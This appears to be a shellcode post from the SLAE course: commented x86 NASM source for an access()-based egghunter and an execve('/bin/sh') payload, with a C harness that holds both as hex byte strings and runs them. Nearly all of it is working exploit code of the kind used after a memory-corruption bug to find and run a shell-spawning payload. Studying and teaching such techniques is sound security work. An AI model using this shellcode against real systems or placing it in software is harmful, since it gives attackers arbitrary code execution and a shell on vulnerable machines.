38 bytes small Linux/x86 egghunter + access() shellcode.
387772621eb89201ab1a444b0f1cfc2f/*
; Filename: egghunter.nasm
; Author: Paolo Perego <[email protected]>
; Website: https://codiceinsicuro.it
; Blog post: https://codiceinsicuro.it/slae/
; Twitter: @thesp0nge
; SLAE-ID: 1217
; Purpose: This is the first stage of our payload. An egg-hunter shellcode
; looping through memory and jumping on the payload after the
; second egg found in memory.
global _start
section .text
_start:
xor ecx, ecx
mul ecx
next_page:
or dx, 0xfff
next_addr:
; EDX is 4096 here, that is the value of PAGE_SIZE constant
inc edx
; EBX is our memory cursor
lea ebx, [edx+0x4]
xor eax, eax
; access is defined as #define __NR_acces 33 in
; /usr/include/i386-linux-gnu/asm/unistd_32.h:
;
; system call prototype is:
; int access(const char *pathname, int mode);
mov al, 0x21
int 0x80
cmp al, 0xf2 ; 0xf2 is the opcode for EFAULT. If my register
; has this value, a signal for a invalid page
; access it has been received
jz next_page
mov eax, key
mov edi, edx
scasd
jnz next_addr
scasd
jnz next_addr
; At this point we are at the very beginning of our shellcode, after
; the second key. We can jump to it
jmp edi
section .data
key equ 0xdeadbeef
; Filename: execve.nasm
; Author: Paolo Perego <[email protected]>
; Website: https://codiceinsicuro.it
; Blog post: https://codiceinsicuro.it/slae/
; Twitter: @thesp0nge
; SLAE-ID: 1217
; Purpose: This is the default payload for the egg hunter demo. It will
; execute "/bin/sh" using execve() system call.
global _start
dd 0xdeadbeef
dd 0xdeadbeef
section .text
_start:
xor eax, eax ; init EAX to 0
push eax ; pushing 0 to the stack to be used as NULL pointer
; execve is defined as #define __NR_execve 11 in
; /usr/include/i386-linux-gnu/asm/unistd_32.h:
;
; system call prototype is:
; int execve(const char *filename, char *const argv[], char *const
envp[]);
push 0x68732f2f ; pushing //bin/sh into the stack
push 0x6e69622f ; the init double / is for alignment purpose
mov ebx, esp ; pointer to *filename
push eax ; pushing in the stack a pointer to NULL
mov edx, esp ; I don't care about environment here
push eax
mov ecx, esp ; I don't even care about passing arguments to
; my /bin/sh
mov al, 0xb ; execve = 11
int 0x80
*/
#include<stdio.h>
#include<string.h>
unsigned char egg_hunter[] = \
"\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xed\xb8\xef\xbe\xad\xde\x89\xd7\xaf\x75\xe8\xaf\x75\xe5\xff\xe7";
unsigned char code[] = \
"\xef\xbe\xad\xde\xef\xbe\xad\xde\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x50\x89\xe1\xb0\x0b\xcd\x80";
int main(int argc, char **argv)
{
printf("Shellcode Length: %d\n", strlen(code));
printf("Egghunter Length: %d\n", strlen(egg_hunter));
int (*ret)() = (int(*)())egg_hunter;
ret();
}
--
$ cd /pub
$ more beer
I pirati della sicurezza applicativa: https://codiceinsicuro.it